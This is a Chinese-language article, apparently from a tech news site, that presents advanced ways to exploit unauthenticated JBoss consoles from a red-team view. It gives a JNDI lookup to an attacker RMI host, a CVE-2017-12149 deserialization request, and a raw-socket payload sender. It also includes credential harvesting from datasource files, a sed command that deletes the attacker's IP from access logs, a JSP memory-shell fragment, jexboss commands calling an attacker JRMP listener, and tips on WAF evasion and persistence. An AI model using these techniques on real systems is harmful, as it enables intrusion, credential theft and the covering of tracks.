当前位置: 首页 > news >正文

从攻击者视角看JBoss未授权:除了上传War包,还能怎么玩?

红队视角下的JBoss攻击面拓展:超越War包部署的实战技法

当渗透测试人员发现JBoss存在未授权访问漏洞时,大多数人的第一反应往往是上传War包获取Shell。但真正的红队选手会思考:这个管理控制台还能怎么玩?本文将带你跳出常规思维,探索JBoss未授权访问后的高阶攻击手法。

1. JMX控制台的隐藏攻击面

JMX控制台远不止War包部署这一个攻击点。成熟的攻击者会先进行全面侦察,识别所有可能的攻击路径。

1.1 服务操作枚举技术

通过JMX控制台的MBean操作界面,可以枚举出大量危险操作:

# 使用curl快速枚举可调用的MBean方法 curl -s "http://target:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo" | grep -oP 'methodName="\K[^"]+'

关键危险方法示例

MBean路径危险方法潜在影响
jboss.system:type=ServerInfoshutdown导致服务宕机
jboss.deployment:type=DeploymentScanneraddURL部署恶意应用
jboss.jca:name=DefaultDS,service=ManagedConnectionPoolflushAllConnection数据库连接池攻击

1.2 JNDI注入点挖掘

JBoss的JNDI服务常存在注入漏洞,特别是在4.x及以下版本中:

// 利用JNDI引用进行远程类加载 InitialContext ctx = new InitialContext(); ctx.lookup("rmi://attacker.com/Exploit");

实战技巧

  • 检查jboss:service=NamingMBean中的绑定项
  • 利用listBindings()方法枚举所有JNDI条目
  • 重点关注RMI和LDAP协议绑定的服务

2. 反序列化漏洞组合利用

单独利用未授权访问可能受限,但结合反序列化漏洞往往能实现权限提升。

2.1 CVE-2017-12149深度利用

这个经典的JBoss反序列化漏洞在红队实战中有多种玩法:

POST /invoker/JMXInvokerServlet HTTP/1.1 Host: target:8080 Content-Type: application/x-java-serialized-object [序列化的恶意对象]

绕过技巧

  • 使用CommonsCollections不同链(3.1/4.0)
  • 结合内存马注入避免文件落地
  • 修改HTTP头字段规避WAF检测

2.2 EJB远程调用攻击

通过EJB接口可以实现更隐蔽的持久化控制:

# EjbInvoker利用脚本示例 import socket target = ("192.168.1.100", 3873) sock = socket.socket() sock.connect(target) sock.send(serialized_malicious_payload)

3. 横向移动技术

获取初步立足点后,红队需要思考如何扩大战果。

3.1 数据库凭证提取

JBoss配置文件中常含有数据库连接信息:

# 从配置文件提取敏感信息 find / -name "*-ds.xml" -exec grep -i "jdbc:" {} \;

典型信息泄露路径

  • server/default/conf/*-ds.xml
  • JMX控制台中的DataSource配置
  • 部署应用中的WEB-INF/web.xml

3.2 集群节点攻击

在JBoss集群环境中,控制一个节点可能意味着控制整个集群:

GET /web-console/ServerInfo.jsp HTTP/1.1 Host: target:8080

集群攻击步骤

  1. 通过节点状态页面识别其他成员
  2. 利用分布式缓存机制传播payload
  3. 通过集群通信端口(默认7600)直接攻击

4. 防御规避与持久化

成熟的攻击者会尽量减少被发现的可能性。

4.1 日志清理技术

JBoss的日志位置和清理方法:

# 定位日志文件 find / -path "*jboss*" -name "*.log" # 使用sed清理特定访问记录 sed -i '/192.168.1.50/d' server/default/log/access_log

4.2 内存马注入

相比文件上传,内存马更难被检测:

// JSP内存马示例 <%@ page import="java.lang.reflect.*,java.util.*"%> <% Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true); Object req = f.get(request); Method m = req.getClass().getMethod("getResponse"); Object res = m.invoke(req); %>

持久化技巧

  • 修改Filter链动态注册恶意Filter
  • 利用JBoss的热部署特性保持内存马
  • 注入到公共静态变量中实现长期驻留

5. 工具与自动化利用

虽然手动利用很有价值,但实战中效率至关重要。

5.1 Jexboss的高级参数

除了基本检测,Jexboss还有许多隐藏功能:

# 使用自定义反序列化链 python jexboss.py -u http://target --ysoserial-command "JRMPClient attacker:1099" # 指定特定漏洞利用 python jexboss.py -u http://target --exploit jmx-console

5.2 自定义漏洞利用框架

构建自动化攻击流程的推荐模块:

# 伪代码示例 class JBossExploit: def __init__(self, target): self.session = requests.Session() self.target = target def check_vuln(self): # 自动化漏洞检测逻辑 pass def deploy_war(self): # War包部署自动化 pass def jndi_inject(self): # JNDI注入实现 pass

在真实渗透测试中,我曾遇到一个加固的JBoss实例,常规War包部署被拦截。通过分析发现其JMX控制台虽然做了IP限制,但EJB接口仍然开放。最终通过结合CVE-2017-12149和自定义的JRMP监听器成功获取了系统权限。

http://www.gsyq.cn/news/1472657.html

相关文章:

  • PyTorch为何成为TVA的“大脑皮层“(2)
  • 给老旧笔记本续命:用RTL8153-VC-CG芯片的USB网卡实现千兆有线连接(实测与选购指南)
  • Windows安卓驱动一键安装:彻底告别手动配置的烦恼
  • 解决win10电脑音量图标丢失的问题
  • ArcMap老鸟的避坑实录:表格转矢量时‘Z值错误’和坐标对调怎么破?
  • 2026最新诚信优选厦门市个人与企业黄金铂金白银彩金回收正规靠谱门店TOP排行榜和门店联系方式推荐 - 余生黄金回收
  • 终极AMD Ryzen调试工具:5分钟掌握硬件调优秘籍
  • Windows任务栏透明美化终极方案:TranslucentTB完全解析
  • 从‘共轭对称’到实信号:用Matlab IFFT生成OFDM时域波形的保姆级指南
  • 为什么TSV电镀面铜越薄越好?
  • 用Python和OpenCV实战霍夫圆检测:从Canny边缘到圆心定位的完整流程
  • 上班用250排量踏板推荐 - 行业深度观察
  • 曲靖本地家电维修师傅电话推荐|本地维修家电|欧米到家统一报修 - 欧米到家
  • Lumafly:空洞骑士模组管理的终极指南,让模组安装变得简单又高效!
  • 别只跑Hello World了!用CC2640R2F+OLED做个简易无线环境监测站(CCS工程改造实战)
  • 小米官网风格静态页面集合:纯HTML/CSS实现,含首页、多款产品页、登录注册及配套样式资源
  • 频繁复制粘贴必看!CopyQ最新版V12.0.0下载
  • 2026 西安价格实惠卫生间漏水不砸砖维修防水修缮 TOP4:家装免砸补漏优质机构优选 专业防水公司排名推荐(2026年5月防水补漏最新TOP权威排名) - 冠盾建筑修缮
  • 从VGG16到ResNet18:为什么你的网络不是越深越好?聊聊梯度消失与残差连接的实战意义
  • 别再只看TDS值了!用Arduino做水质检测,这些滤波和温度补偿的坑你踩过吗?
  • 为什么现在大家搞 Anchor Trajectory、Diffusion Policy、World Model,而不是直接像传统规划一样撒一堆 Reeds-Shepp / Dubins 曲线,然后挑一
  • 【计算机毕业设计案例】基于SpringBoot与微信小程序的健康管理系统基于springboot+小程序的个人健康管理系统小程序(程序+文档+讲解+定制)
  • 2026哈尔滨黄金回收权威测评:K金铂金变现 - 奢侈品回收测评
  • 新手别纠结!AD、PADS、Allegro三款PCB设计软件,到底该学哪个?(附学习路线建议)
  • 2026报考必看:想报地理信息科学专业推荐这些学校 - 品牌2026
  • VLA已死,WAM是未来?大错特错,打通技术底座是实现架构互补的关键
  • VCS混合仿真避坑指南:手把手教你搞定VHDL和Verilog的Makefile配置
  • 【RT-DETR实战】156、改进六:设计轻量级混合编码器(MobileViT思想)
  • 保姆级教程:在Windows 10/11上用JDK 8/11成功安装BurpSuite Community 2024(附浏览器代理配置避坑指南)
  • Lakehouse重构数据基建:ACID事务与统一治理如何让数据湖真正可信可用